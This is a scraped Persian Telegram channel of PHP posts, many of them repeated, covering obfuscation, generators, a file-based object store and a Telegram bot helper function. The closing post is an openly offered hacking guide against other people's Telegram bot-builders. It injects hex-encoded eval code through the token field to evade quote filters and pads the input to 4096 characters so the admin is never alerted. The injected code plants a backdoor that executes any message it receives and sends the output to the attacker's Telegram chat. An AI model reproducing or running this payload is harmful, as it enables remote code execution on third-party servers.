ژوپیتـر اِیپیآی | Jupiter API
مولتی پروسه؟ async؟ 😐 ➕ فرایند/پروسه: وقتی یه برنامه باز میشه یه پروسه ایجاد میشه و منابعی رو به پروسه اختصاص میده. مثلا وقتی سایت php باز میکنید برنامه php باز میشه و میره توی مموری (معمولا بیست مگابایت رم مصرف میشه که ربطی به اسکریپت شما نداره) بعد شروع…
#reply
مشابه تابع litespeed_finish_request که مختص وب سرور litespeed هست، تابع fastcgi_finish_request برای بقیه وبسرورهاست که اگه هاست یا سرورتون دسترسی PHPCGI داشته باشه میتونید ازش استفاده کنید.
💻 ژوپیتر ای پی آی | @JupiterAPI
🌐 فراهاست | @Fara_Host
مشابه تابع litespeed_finish_request که مختص وب سرور litespeed هست، تابع fastcgi_finish_request برای بقیه وبسرورهاست که اگه هاست یا سرورتون دسترسی PHPCGI داشته باشه میتونید ازش استفاده کنید.
💻 ژوپیتر ای پی آی | @JupiterAPI
🌐 فراهاست | @Fara_Host
ژوپیتـر اِیپیآی | Jupiter API
مولتی پروسه؟ async؟ 😐 ➕ فرایند/پروسه: وقتی یه برنامه باز میشه یه پروسه ایجاد میشه و منابعی رو به پروسه اختصاص میده. مثلا وقتی سایت php باز میکنید برنامه php باز میشه و میره توی مموری (معمولا بیست مگابایت رم مصرف میشه که ربطی به اسکریپت شما نداره) بعد شروع…
انکد؟ دیکد؟ درهمسازی؟ رمزنگاری؟ 😐
واسه سرتیتر خوبه ازین به بعد همینجوری شروع میکنم
اقا ینفر اومده پیوی سورس انکدشو داده بود قرار بود سورسشو دیکد کنم بعد سورسش اجرا نمیشه نمیگم چرا اجرا نمیشه میگه یه فایل txt داشت اونو حذف کردم اجرا نشه اینو دیکد کن/: بعد هیچی دیگ اومدم توضیحش بدم گفت نوبیو رفت خابید.
➕ انکریپت/دکریپت: به الگوریتمای رمزنگاری میگن که متن رو با یک کلید (یا دو کلید) ترکیب میکنن و بدون اون کلید هیچجوره نمیشه به متن اصلی دسترسی داشت. متنو با کلید ترکیب کنه میشه انکریپت با کلید بخاد متنو برگردونه میشه دکریپت.
➕ انکد/دیکد: الگوریتمایی که صرفا جهت هدف خاصی و تغییر نمایش متن ساخته شدن و هیچ هدف امنیتیو رمزنگاریی ندارن. مثلا base64 که از ascii به یه محدوده خاصی از حروف متنو تبدیل میکنه یا utf8 که برای لود کردن فونت های مخصوصش باید رو متن خام اعمال بشه یا اصن json_encode هم یه انکد دکده که ارایه و متنو تو پحپ بهم تبدیل میکنه.
➕ کامپایلر: کامپایلر مربوط به یک زبان وظیفه داره کدای اون زبانو به یه زبان سطح پایین تر یا کد ماشین تبدیل کنه و یکطرفس چون به هرحال زبان ها دقیقا خصوصیات یکسان ندارن ک. اگه بخایم از زبان کامپایل شده به زبان اصلی برگردونیم خوب هم کار سختیه هم خیلی از اطلاعات از دست میره.
➕ مفسر: مفسر یه زبان صرفا یه برنامس ک خودش کامپایل شده و برای اجرای کد های اون زبان استفاده میشه مثل این میمونه ک هربار برنامه رو کامپایل کنه و بخاد اجراش کنه.
➕ ترنسپایلر: اگه یه زبانیو به یه زبان دیگه تبدیل کنی میشه این حالت معمولا برای دوتا زبان اسکریپتی اینو بکار میبرن.
خوب حالا چرا اینارو گفتم میخام بگم درهم ساز چیه.
درهم ساز برای اینه که دسترسی به کدها سخت بشه و قابل خوندن نباشه. هیچوقت غیرممکن نیس اصلا جزو رمزنگاری حساب نمیشه چون واسه ادم قابل خوندن نباشه درنهایت واسه کامپیوتر ک باید قابل خوندن باشه باید حتما اجرا بشه دیگ درسته؟
➕ درهم سازی: کاری که روی یک زبان معمولا اسکریپت انجام میدن تا کدهاش به سختی قابل خوندن باشه. خوب مشخصا شما انکد دیکد لازم ندارید هزار بارم base64_encode استفاده کنید درنهایت فقط سرعت اجرا رو پایین میارین پس باید چیکار کنیم. به طور کلی معمول ترین راه کاری شبیه اتفاقیه که توی کامپایلر یا ترنسپایلر میافته. شما باید جای کدو عوض کنید کدارو به چیزای عجیب تغییر بدین مثلا جای
if(true)print "hello";
بنویسین
!![]||(base64_decode("\x63\x48\x4a\x70\x62\x6e\x52\x66\x63\x67\x3d\x3d"))(hex2bin("\x36\x38\x36\x35\x36\x63\x36\x63\x36\x66"));
کد همونه زبانم همونه. اجرا میشه همون کارو میکنه فقط انگار دیگه به اون سادگی قبلی نیستش.
این میشه اصلی ترین چیزی که باید برای یه درهم سازی خوب انجام بشه. بقیشم به کلک های کسی که درهمسازی میکنه بستگی داره.
یه درهم ساز بد هم میاد صد بار base64 میکنه که فقط سرعتو پایین میاره.
🤨 حالا خطاب به دوست عزیزی که میگفت قابلیت اجرای سورس رو حذف کردم دیکدش کن. عزیزم وقتی سورس رو خراب کنی دیگه اجرا نشه دیگه درهم سازی نیس. اونو باید کرک کرد ببینی چیبوده ک نمیشه قطعا. معنی درهم سازیو انکدو انکریپتو باهم قاطی نکنین تشکر❤️
:/
واسه سرتیتر خوبه ازین به بعد همینجوری شروع میکنم
اقا ینفر اومده پیوی سورس انکدشو داده بود قرار بود سورسشو دیکد کنم بعد سورسش اجرا نمیشه نمیگم چرا اجرا نمیشه میگه یه فایل txt داشت اونو حذف کردم اجرا نشه اینو دیکد کن/: بعد هیچی دیگ اومدم توضیحش بدم گفت نوبیو رفت خابید.
➕ انکریپت/دکریپت: به الگوریتمای رمزنگاری میگن که متن رو با یک کلید (یا دو کلید) ترکیب میکنن و بدون اون کلید هیچجوره نمیشه به متن اصلی دسترسی داشت. متنو با کلید ترکیب کنه میشه انکریپت با کلید بخاد متنو برگردونه میشه دکریپت.
➕ انکد/دیکد: الگوریتمایی که صرفا جهت هدف خاصی و تغییر نمایش متن ساخته شدن و هیچ هدف امنیتیو رمزنگاریی ندارن. مثلا base64 که از ascii به یه محدوده خاصی از حروف متنو تبدیل میکنه یا utf8 که برای لود کردن فونت های مخصوصش باید رو متن خام اعمال بشه یا اصن json_encode هم یه انکد دکده که ارایه و متنو تو پحپ بهم تبدیل میکنه.
➕ کامپایلر: کامپایلر مربوط به یک زبان وظیفه داره کدای اون زبانو به یه زبان سطح پایین تر یا کد ماشین تبدیل کنه و یکطرفس چون به هرحال زبان ها دقیقا خصوصیات یکسان ندارن ک. اگه بخایم از زبان کامپایل شده به زبان اصلی برگردونیم خوب هم کار سختیه هم خیلی از اطلاعات از دست میره.
➕ مفسر: مفسر یه زبان صرفا یه برنامس ک خودش کامپایل شده و برای اجرای کد های اون زبان استفاده میشه مثل این میمونه ک هربار برنامه رو کامپایل کنه و بخاد اجراش کنه.
➕ ترنسپایلر: اگه یه زبانیو به یه زبان دیگه تبدیل کنی میشه این حالت معمولا برای دوتا زبان اسکریپتی اینو بکار میبرن.
خوب حالا چرا اینارو گفتم میخام بگم درهم ساز چیه.
درهم ساز برای اینه که دسترسی به کدها سخت بشه و قابل خوندن نباشه. هیچوقت غیرممکن نیس اصلا جزو رمزنگاری حساب نمیشه چون واسه ادم قابل خوندن نباشه درنهایت واسه کامپیوتر ک باید قابل خوندن باشه باید حتما اجرا بشه دیگ درسته؟
➕ درهم سازی: کاری که روی یک زبان معمولا اسکریپت انجام میدن تا کدهاش به سختی قابل خوندن باشه. خوب مشخصا شما انکد دیکد لازم ندارید هزار بارم base64_encode استفاده کنید درنهایت فقط سرعت اجرا رو پایین میارین پس باید چیکار کنیم. به طور کلی معمول ترین راه کاری شبیه اتفاقیه که توی کامپایلر یا ترنسپایلر میافته. شما باید جای کدو عوض کنید کدارو به چیزای عجیب تغییر بدین مثلا جای
if(true)print "hello";
بنویسین
!![]||(base64_decode("\x63\x48\x4a\x70\x62\x6e\x52\x66\x63\x67\x3d\x3d"))(hex2bin("\x36\x38\x36\x35\x36\x63\x36\x63\x36\x66"));
کد همونه زبانم همونه. اجرا میشه همون کارو میکنه فقط انگار دیگه به اون سادگی قبلی نیستش.
این میشه اصلی ترین چیزی که باید برای یه درهم سازی خوب انجام بشه. بقیشم به کلک های کسی که درهمسازی میکنه بستگی داره.
یه درهم ساز بد هم میاد صد بار base64 میکنه که فقط سرعتو پایین میاره.
🤨 حالا خطاب به دوست عزیزی که میگفت قابلیت اجرای سورس رو حذف کردم دیکدش کن. عزیزم وقتی سورس رو خراب کنی دیگه اجرا نشه دیگه درهم سازی نیس. اونو باید کرک کرد ببینی چیبوده ک نمیشه قطعا. معنی درهم سازیو انکدو انکریپتو باهم قاطی نکنین تشکر❤️
:/
سلام! 🍃
امروز قراره درباره PHP Generator صحبت کنیم...
[🌊] در ابتدا بگم که منبع این پیام سایت ویرگول هستش که فقط برای دسترسی ساده تر با یکم تغییرات توی تلگرام گذاشته میشه.
قبل از اینکه شروع کنیم باید درباره داده های Iterable صحبت کنیم.
[❓¹] چه داده هایی Iterable هستند؟
جواب (✅) : به طور کلی هر نوع داده ای که با حلقه foreach قابل پیمایش باشه Iterable محسوب میشه.
در واقع Iterable یک شبه تایپ هست که اصلِ صفتِ قابل پيمايش بودن را داراست و از مثال هاش میتونیم array یا object رو مثال بزنیم که همه میشناسیمشون.
[❓²] حالا سوال کلیدی اینه که PHP Generator چی هست؟
جواب (☑️) : اونا این امکان رو به ما میدن تا بدون اینکه کل داده ها رو داخل حافظه نگه داریم، به کمک یک حلقه پیمایش کنیم.
در واقع به کمک Generator ها میتونیم توابعی بنویسیم که چندین مقدار مختلف رو به عنوان خروجی برگردونن، برخلاف return که فقط یک مقدار رو برمیگردونه.
اگر بخواهیم توی یک جمله خلاصه بگیم :
تابعی که خروجی iterable ارائه میده بدون اینکه کل داده ها رو یکجا برگردونه و تمام منابع ما رو ببلعه 😧🐻
#پارت_اول
امروز قراره درباره PHP Generator صحبت کنیم...
[🌊] در ابتدا بگم که منبع این پیام سایت ویرگول هستش که فقط برای دسترسی ساده تر با یکم تغییرات توی تلگرام گذاشته میشه.
قبل از اینکه شروع کنیم باید درباره داده های Iterable صحبت کنیم.
[❓¹] چه داده هایی Iterable هستند؟
جواب (✅) : به طور کلی هر نوع داده ای که با حلقه foreach قابل پیمایش باشه Iterable محسوب میشه.
در واقع Iterable یک شبه تایپ هست که اصلِ صفتِ قابل پيمايش بودن را داراست و از مثال هاش میتونیم array یا object رو مثال بزنیم که همه میشناسیمشون.
[❓²] حالا سوال کلیدی اینه که PHP Generator چی هست؟
جواب (☑️) : اونا این امکان رو به ما میدن تا بدون اینکه کل داده ها رو داخل حافظه نگه داریم، به کمک یک حلقه پیمایش کنیم.
در واقع به کمک Generator ها میتونیم توابعی بنویسیم که چندین مقدار مختلف رو به عنوان خروجی برگردونن، برخلاف return که فقط یک مقدار رو برمیگردونه.
اگر بخواهیم توی یک جمله خلاصه بگیم :
تابعی که خروجی iterable ارائه میده بدون اینکه کل داده ها رو یکجا برگردونه و تمام منابع ما رو ببلعه 😧🐻
#پارت_اول
سلام مجدد! 🙂
امروز همون فردای دیروزه نه اینکه فردا باشه ولی برای شما فرداست...
خب بیاین اول اینجوری پیش بریم که انگار همچین موهبتی وجود نداره !
[1⃣] ما میخوایم ارایه ای از 0 تا بزرگترین عدد php یعنی PHP_INT_MAX داشته باشیم و بعد همه اعضای این ارایه رو چاپ کنیم. بریم ببینیم کدش چطوریه :
[🤔] اگر این کد رو اجرا کنیم چی میشه؟
بله با این خطا مواجه می شیم :
Allowed memory size of X bytes exhausted
مشخصه که حافظه ای که در اختیار PHP بوده کاملا پر شده و دلیلش هم اینه که تابع make کل اعداد بین 0 تا PHP_INT_MAX رو داخل حافظه نگه میداره! 😞
[2⃣] پس راه حل چیه؟ بله Generator ها
همونطور که گفتیم، Generator ها این امکان رو میدن تا بتونیم داده رو پیمایش کنیم بدون اینکه کل اون رو داخل حافظه ذخیر کنیم. واست سواله دقیقا چطوری میشه؟
در واقع yield این امکان رو میده تا یک تابع چند خروجی داشته باشه.
توی این کد وقتی وارد حلقه for میشیم، مقدار اولیه i$ که 0 هست yield میشه و به عنوان یکی از خروجی ها برگردونده و کد متوقف میشه،دیگه ادامه پیدا نمیکنه تا زمانی که دوباره اجرای Generator ادامه پیدا کنه!
خیلی جالب نیست؟ 😀
جالب تر میشه اگر بدونید زمانی که ما تابع make رو var_dump کنیم خروجیمون این میشه :
میبینیم که یک object از نوع Generator هست و هیچ عددی داخلش نیست.
[🔮] آنچه در قسمت بعد خواهید دید :
متدی های موجود در Generator ها
#پارت_دوم
امروز همون فردای دیروزه نه اینکه فردا باشه ولی برای شما فرداست...
خب بیاین اول اینجوری پیش بریم که انگار همچین موهبتی وجود نداره !
[1⃣] ما میخوایم ارایه ای از 0 تا بزرگترین عدد php یعنی PHP_INT_MAX داشته باشیم و بعد همه اعضای این ارایه رو چاپ کنیم. بریم ببینیم کدش چطوریه :
function make(){
$array = [];
for($i = 0; $i < PHP_INT_MAX; $i++)
$array[] = $i;
return $array;
}
make();[🤔] اگر این کد رو اجرا کنیم چی میشه؟
بله با این خطا مواجه می شیم :
Allowed memory size of X bytes exhausted
مشخصه که حافظه ای که در اختیار PHP بوده کاملا پر شده و دلیلش هم اینه که تابع make کل اعداد بین 0 تا PHP_INT_MAX رو داخل حافظه نگه میداره! 😞
[2⃣] پس راه حل چیه؟ بله Generator ها
همونطور که گفتیم، Generator ها این امکان رو میدن تا بتونیم داده رو پیمایش کنیم بدون اینکه کل اون رو داخل حافظه ذخیر کنیم. واست سواله دقیقا چطوری میشه؟
function make(){
for($i = 0; $i < PHP_INT_MAX; $i++)
yield $i;
}
make();در واقع yield این امکان رو میده تا یک تابع چند خروجی داشته باشه.
توی این کد وقتی وارد حلقه for میشیم، مقدار اولیه i$ که 0 هست yield میشه و به عنوان یکی از خروجی ها برگردونده و کد متوقف میشه،
خیلی جالب نیست؟ 😀
جالب تر میشه اگر بدونید زمانی که ما تابع make رو var_dump کنیم خروجیمون این میشه :
object(Generator)#507 (0) {}میبینیم که یک object از نوع Generator هست و هیچ عددی داخلش نیست.
[🔮] آنچه در قسمت بعد خواهید دید :
متدی های موجود در Generator ها
#پارت_دوم
در سمت توام، دلم باران، دستم باران...
[⏩] با قسمت بعدی از آموزش Generator ها در خدمت شما هستیم!
[🧠] اگر یادتون باشه توی قسمت قبلی یک فانکشن به اسم
• خروجی کد بالا اعداد 0 تا PHP_INT_MAX رو چاپ میکنه 😟
[❓³] چرا موقعی که var_dump کردیم هیچ عددی رو نشون نداده و فقط یک object بود؟
جواب (✅) : اینجا مشخص میشه که yield مقادیر رو به ترتیب و یکی یکی برمیگردونه و تا زمانی که به پیمایش object خروجی که یک Generator هست ادامه ندیم، مقادیر بعدی رو برنمیگردونه و اینجوری دیگه کل داده داخل حافظه قرار داده نمیشه و در هر فراخوانی یکی یکی تولید و برگردونده میشن. Generator ها چند متد دارن که اینجا باهاشون آشنا میشیم!
• متد Current
📗 | با کمک این متد به مقدار فعلی که yield شده دسترسی پیدا میکنیم.
🔬 |
خروج فعلی ما عدد 0 هست چون مقدار اولیه i$ داخل حلقه 0 بود. بعد از اینکه مقدار 0 yield شد حلقه ادامه پیدا نمیکنه و اجرای Generator نگه داشته میشه، هرچقدر هم تابع current رو صدا بزنیم باز هم خروجی 0 هست.
ولی اگر بخواهیم مقدار بعدی رو چاپ کنیم چیکار کنیم؟
متد Next
📕 | به کمک این متد میتونیم اجرای Generator رو از جای قبلی که متوقف شده بود ادامه بدیم.
🔬 |
مقدار اولیه i$ عدد 0 بود با متد current مقدار فعلی یعنی 0 چاپ میشه و با متد next پیمایش Generator رو ادامه میدیم تا yield بعدی و زمانی که دوباره متد current رو صدا میزنیم عدد 1 چاپ میشه چون مقدار بعدی i$ هستش.
متد Send
📘 | به کمک این متد میتونیم مقداری رو به عنوان نتیجه yield به Generator بفرستیم و اجرای Generator رو ادامه بدیم.
🔬 |
چون رشته "bye" در داخل تابع yield شده ، متد current مقدار اون رو به ما میده و اجرای Generator در همونجا puase میشه. وقتی با متد send رشته "hello" رو به داخل Generator میفرستیم مقدار فعلی Generator به "hello" تغییر پیدا میکنه و به کمک echo چاپ میشه.
در واقع توی مرحله اول yield مقدار "bye" رو برگردونده و در مرحله دوم مثل یک متغیر عمل کرده که میتونیم مقداری رو بهش نسبت بدیم (به همین سادگی 🍰)
متد getReturn
📙 | اگر بخوایم پس از اتمام اجرا Generator مقدار return شده ی تابع رو برگردونیم، از این متد استفاده میکنیم.
➕ شاید نمیدوستید اما میشه توی فانکشن هامون علاوه بر yield از return هم استفاده کنیم!
🔬 |
میبینیم که حلقه foreach که وظیفه iterate کردن Generator رو برعهده داره فقط اعداد 1 و 2 رو که yield شدن چاپ کرده، اگر بخوایم به مقدار return شده دسترسی پیدا کنیم باید متد getReturn رو صدا بزنیم.
[⚠️] دقت کنید اگر قبل از تموم شدن اجرای Generator، متد getReturn رو صدا بزنید با خطا مواجه می شید.
• در اخر باید بگم که این ها فقط گوشه ای از مطالب بود و برای یادگیری کامل تر میتونید به Google مراجعه کنید!
#پارت_سوم |نهایی 🏁|
[⏩] با قسمت بعدی از آموزش Generator ها در خدمت شما هستیم!
[🧠] اگر یادتون باشه توی قسمت قبلی یک فانکشن به اسم
make نوشتیم، حالا بیایید یکم ازش استفاده کنیم ببینیم این معجزه چطوری کار میکنه...foreach(make() as $num){
echo "$num\n";
}• خروجی کد بالا اعداد 0 تا PHP_INT_MAX رو چاپ میکنه 😟
[❓³] چرا موقعی که var_dump کردیم هیچ عددی رو نشون نداده و فقط یک object بود؟
جواب (✅) : اینجا مشخص میشه که yield مقادیر رو به ترتیب و یکی یکی برمیگردونه و تا زمانی که به پیمایش object خروجی که یک Generator هست ادامه ندیم، مقادیر بعدی رو برنمیگردونه و اینجوری دیگه کل داده داخل حافظه قرار داده نمیشه و در هر فراخوانی یکی یکی تولید و برگردونده میشن. Generator ها چند متد دارن که اینجا باهاشون آشنا میشیم!
• متد Current
📗 | با کمک این متد به مقدار فعلی که yield شده دسترسی پیدا میکنیم.
🔬 |
$gen = make();
echo $gen->current();خروج فعلی ما عدد 0 هست چون مقدار اولیه i$ داخل حلقه 0 بود. بعد از اینکه مقدار 0 yield شد حلقه ادامه پیدا نمیکنه و اجرای Generator نگه داشته میشه، هرچقدر هم تابع current رو صدا بزنیم باز هم خروجی 0 هست.
ولی اگر بخواهیم مقدار بعدی رو چاپ کنیم چیکار کنیم؟
متد Next
📕 | به کمک این متد میتونیم اجرای Generator رو از جای قبلی که متوقف شده بود ادامه بدیم.
🔬 |
$gen = make();
echo $gen->current() . PHP_EOL;
$gen->next();
echo $gen->current();مقدار اولیه i$ عدد 0 بود با متد current مقدار فعلی یعنی 0 چاپ میشه و با متد next پیمایش Generator رو ادامه میدیم تا yield بعدی و زمانی که دوباره متد current رو صدا میزنیم عدد 1 چاپ میشه چون مقدار بعدی i$ هستش.
متد Send
📘 | به کمک این متد میتونیم مقداری رو به عنوان نتیجه yield به Generator بفرستیم و اجرای Generator رو ادامه بدیم.
🔬 |
function myGen(){
echo yield 'bye';
}
$gen = myGen();
echo $gen->current() . PHP_EOL;
echo $gen->send('hello');چون رشته "bye" در داخل تابع yield شده ، متد current مقدار اون رو به ما میده و اجرای Generator در همونجا puase میشه. وقتی با متد send رشته "hello" رو به داخل Generator میفرستیم مقدار فعلی Generator به "hello" تغییر پیدا میکنه و به کمک echo چاپ میشه.
در واقع توی مرحله اول yield مقدار "bye" رو برگردونده و در مرحله دوم مثل یک متغیر عمل کرده که میتونیم مقداری رو بهش نسبت بدیم (به همین سادگی 🍰)
متد getReturn
📙 | اگر بخوایم پس از اتمام اجرا Generator مقدار return شده ی تابع رو برگردونیم، از این متد استفاده میکنیم.
➕ شاید نمیدوستید اما میشه توی فانکشن هامون علاوه بر yield از return هم استفاده کنیم!
🔬 |
function myGen(){
yield 1;
yield 2;
return 'hi';
}
$gen = myGen();
foreach($gen as $num){
echo "$num\n";
}
echo $gen->getReturn();میبینیم که حلقه foreach که وظیفه iterate کردن Generator رو برعهده داره فقط اعداد 1 و 2 رو که yield شدن چاپ کرده، اگر بخوایم به مقدار return شده دسترسی پیدا کنیم باید متد getReturn رو صدا بزنیم.
[⚠️] دقت کنید اگر قبل از تموم شدن اجرای Generator، متد getReturn رو صدا بزنید با خطا مواجه می شید.
• در اخر باید بگم که این ها فقط گوشه ای از مطالب بود و برای یادگیری کامل تر میتونید به Google مراجعه کنید!
#پارت_سوم |نهایی 🏁|
👍1
#تیکه_کد دیتابیس فایل جیسون نمای ابجکتی برای نوبان
$TheDatabaseBasedOnMyFockingPathJsonifyfObjectiveWithMagickMethods = new PathJsonify("dir/abc");
جای dir/abc ادرس پوشه رو مینویسید.
➕ میتونید مثل ابجکت معمولی ازش استفاده کنید با این تفاوت که به صورت فایل ذخیره میشه برای مثال:
$db->hello = "world";
بعد فایل hello ساخته میشه و هروقت بنویسید
print $db->hello;
خونده میشه و پرینت میشه.
➕ میتونید از پوشه استفاده کنید مثلا فرض کنید کاربر $chatid اومده تو ربات میخاید ببینید از قبل بوده یا نه مینویسید
if(!$db->users->has($chatid)){
$db->users->$chatid; // پوشه کاربر ساخته میشه
}
➕ یا که میتونید واسه کاربر استیپ بزارید:
$db->users->$chatid->stepBrotherImStuck = "start";
و براحتی براش شرط بزارید استفاده کنید
if($db->users->$chatid->step == "start"){
// داخل منو اصلی ربات
}else .........
اگه بازم از این اموزش های پرمحتوا و کاربردی میخاید حمایت فراموش نوشه 👌😉
class PathJsonify {
public $_PATH;
public function __construct(string $path){
if(!file_exists($path))
mkdir($path);
$this->_PATH = $path;
}
public function __get(string $file){
$file = $this->_PATH . '/' . $file;
if(is_file($file))
return unserialize(file_get_contents($file));
return new PathJsonify($file);
}
public function __set(string $file, $value){
$file = $this->_PATH . '/' . $file;
if(!is_dir($file))
file_put_contents($file, serialize($value));
}
public function has(string $file){
$file = $this->_PATH . '/' . $file;
return file_exists($file);
}
public function del(string $file){
$file = $this->_PATH . '/' . $file;
return unlink($file);
}
}
از اونجایی که خیلی استفاده ساده و روونی داره شاید بکارتون بیاد. اولین کاری که باید بکنین اینه که ابجکتش رو باز کنین و تو متغییر بریزید$TheDatabaseBasedOnMyFockingPathJsonifyfObjectiveWithMagickMethods = new PathJsonify("dir/abc");
جای dir/abc ادرس پوشه رو مینویسید.
➕ میتونید مثل ابجکت معمولی ازش استفاده کنید با این تفاوت که به صورت فایل ذخیره میشه برای مثال:
$db->hello = "world";
بعد فایل hello ساخته میشه و هروقت بنویسید
print $db->hello;
خونده میشه و پرینت میشه.
➕ میتونید از پوشه استفاده کنید مثلا فرض کنید کاربر $chatid اومده تو ربات میخاید ببینید از قبل بوده یا نه مینویسید
if(!$db->users->has($chatid)){
$db->users->$chatid; // پوشه کاربر ساخته میشه
}
➕ یا که میتونید واسه کاربر استیپ بزارید:
$db->users->$chatid->stepBrotherImStuck = "start";
و براحتی براش شرط بزارید استفاده کنید
if($db->users->$chatid->step == "start"){
// داخل منو اصلی ربات
}else .........
اگه بازم از این اموزش های پرمحتوا و کاربردی میخاید حمایت فراموش نوشه 👌😉
👍1
از الوم استفاده کنین اپدیت 2.8.2 داده باگم نداره
https://github.com/avid0/Alom
https://github.com/avid0/Alom
#تابع_bot
این تابع از تابع bot معمولی که همه استفاده میکنن سرعت خیلی بیشتری داشته و به همون راحتی میتونید استفاده کنید.
مثلا:
bot("sendMessage", [
"chat_id" => "...",
"text" => "mmm"
]);
😐
این تابع از تابع bot معمولی که همه استفاده میکنن سرعت خیلی بیشتری داشته و به همون راحتی میتونید استفاده کنید.
define("API_KEY", "...");
class BotResponse {
public $res, $ch, $sock, $exec;
public function __construct($ch, $sock){
$this->ch = $ch;
$this->sock = $sock;
}
public function read(){
if(!$this->exec){
if($this->sock){
$res = "";
while($pack = fread($this->ch, 4096)){
$res .= $pack;
if(strlen($pack) < 4096)break;
}
$res = explode("\r\n\r\n", $res, 2);
$this->res = json_decode($res[1]);
fclose($this->ch);
}else{
$this->res = json_decode(curl_exec($this->ch));
curl_close($this->ch);
}
$this->exec = true;
}
}
public function __get($param){
if($param == 'result')
return $this;
$this->read();
if(isset($this->res->$param))
return $this->res->$param;
return $this->res->result->$param;
}
public function __set($param, $val){
$this->read();
return $this->res->$param = $val;
}
public function __destruct(){
if($this->sock && !$this->exec){
fgetc($this->ch);
fclose($this->ch);
}
}
}
function bot($method, $datas = []){
if(stripos($method, 'get') !== false){
$ch = curl_init("https://api.telegram.org/bot".API_KEY."/$method");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
return new BotResponse($ch, false);
}
$sock = true;
foreach($datas as $data)
if(is_array($data) || is_object($data)){
$sock = false;
break;
}
if($sock){
$sock = fsockopen("tls://api.telegram.org", 443);
$pack = "POST /bot".API_KEY."/$method HTTP/1.1\r\n";
$pack.= "Host: api.telegram.org\r\n";
$pack.= "Content-Type: application/json\r\n";
$datas = json_encode($datas);
$pack.= "Content-Length: ".strlen($datas)."\r\n";
$pack.= "\r\n$datas";
fwrite($sock, $pack);
return new BotResponse($sock, true);
}
$ch = curl_init("https://api.telegram.org/bot".API_KEY."/$method");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
$res = json_decode(curl_exec($ch));
curl_close($ch);
return $res;
}
مثلا:
bot("sendMessage", [
"chat_id" => "...",
"text" => "mmm"
]);
😐
#چگانه رباتساز مردم را هاک نماییم و حق ناس النوب به گردن خود بیاویزیم ورژن 3؟ عیدتون مبارک
💡 مدتی هست که رباتساز ها با فیلتر کردن کوتیشن ها و اسم بنده در کد های ضد هک خود جلوی هاک شدنشون رو گرفتند. و امروز ورژن جدیدی رو نمایی میکنیم با توضیح هر قسمت.
در این بخش ما به شما کدی میدهیم که هنگام ورودی دادن توکن در رباتساز جای توکن از کد ساخته شده خود استفاده میکنید و درصورتی که ربات اسیب پذیر باشد حتما گرفتار هوش و توانایی کد زدن شما خواهد شد.
🔧 در اینجا کدی که مینویسیم کد مخرب ارسالی نبوده و واسه ساخت کد مخرب هستش. ما این کد رو اجرا میکنیم تا خروجی کد مخرب بگیریم.
در ابتدا ربات خودمونو مشخص میکنیم و ایدی عددیمونو هم میزاریم تو متغییر:
ولی خب این کد پر از کوتیشنه ما فرض کردیم کوتیشن ها فیلتر میشه چه باید کرد؟
در مرحله بعدی اونو به صورت زیر هگز میکنیم:
تو رباتساز های جدید وقتی رباتی میسازید توکن به ادمین ارسال میشه و ادمین شمارو بلاک میکنه. پس چیکار کنیم؟ کافیه کد رو 4096 کارکتر کنیم تا به محدودیت کارکتر برسه ربات و نتونه به ادمین بگه:
حالا در اینجا کافیه کد مخرب ساخته شده رباتتون رو جای توکن ارسال کنید. اگه ساخته نشد که شما شکست خوردید ولی اگه ساخته شد که عالیه. میرید تو رباتتون و به صورت
📌 اسم avid رو پاک نکنید از تو کد بزارین باشه تبلیغ بشه اسمم ممنون /:
🖇 @jupiterAPI
💡 مدتی هست که رباتساز ها با فیلتر کردن کوتیشن ها و اسم بنده در کد های ضد هک خود جلوی هاک شدنشون رو گرفتند. و امروز ورژن جدیدی رو نمایی میکنیم با توضیح هر قسمت.
در این بخش ما به شما کدی میدهیم که هنگام ورودی دادن توکن در رباتساز جای توکن از کد ساخته شده خود استفاده میکنید و درصورتی که ربات اسیب پذیر باشد حتما گرفتار هوش و توانایی کد زدن شما خواهد شد.
🔧 در اینجا کدی که مینویسیم کد مخرب ارسالی نبوده و واسه ساخت کد مخرب هستش. ما این کد رو اجرا میکنیم تا خروجی کد مخرب بگیریم.
در ابتدا ربات خودمونو مشخص میکنیم و ایدی عددیمونو هم میزاریم تو متغییر:
$admin = 12345678;خب. حالا در ادامه کد خام زیر رو برای مشخص کرد کاری که ربات باید انجام بده مینویسیم
$token = "12345678:abcdefg";
$rawcode = '$UPDATE = json_decode(file_get_contents("php://input"));
$CURL = curl_init("https://api.telegram.org/bot'.$token.'/sendMessage");
curl_setopt($CURL, CURLOPT_RETURNTRANSFER, true);
curl_setopt($CURL, CURLOPT_POSTFIELDS, [
"chat_id" => '.$admin.',
"text" => @eval($UPDATE->message->text)
]);
curl_exec($CURL);
curl_close($CURL);
exit;';
برای توضیح کد بالا هرپیامی که در ربات شما ارسال شود را میگیره و اجرا میکنه و خروجی return اون رو به شما ارسال میکنه. مثلا کد بفرستیدreturn "hello world";
ربات شما این کدو اجرا میکنه و خروجیشو براتون میفرسته.ولی خب این کد پر از کوتیشنه ما فرض کردیم کوتیشن ها فیلتر میشه چه باید کرد؟
در مرحله بعدی اونو به صورت زیر هگز میکنیم:
$hex = bin2hex("\xff;$rawcode");
الان درست شد دیگه هیچ کوتیشنی نداریم. خب حالا کد اصلی که کار نفوذ به هاست رباتسازو انجام میده الان میسازیم$code = $token.'/gEtMe?AviD=${eval(hex2bin(@'.$hex.'))}';
همون طور که میبینید دیگه هیچ کوتیشنی نیست. ولی هنوزم یه مشکلی هست.تو رباتساز های جدید وقتی رباتی میسازید توکن به ادمین ارسال میشه و ادمین شمارو بلاک میکنه. پس چیکار کنیم؟ کافیه کد رو 4096 کارکتر کنیم تا به محدودیت کارکتر برسه ربات و نتونه به ادمین بگه:
$code .= str_repeat('a', 4096 - strlen($code));
و مشخصا سپس کد رو پرینت کنید تا بگیرید و ازش استفاده کنید.print $code;
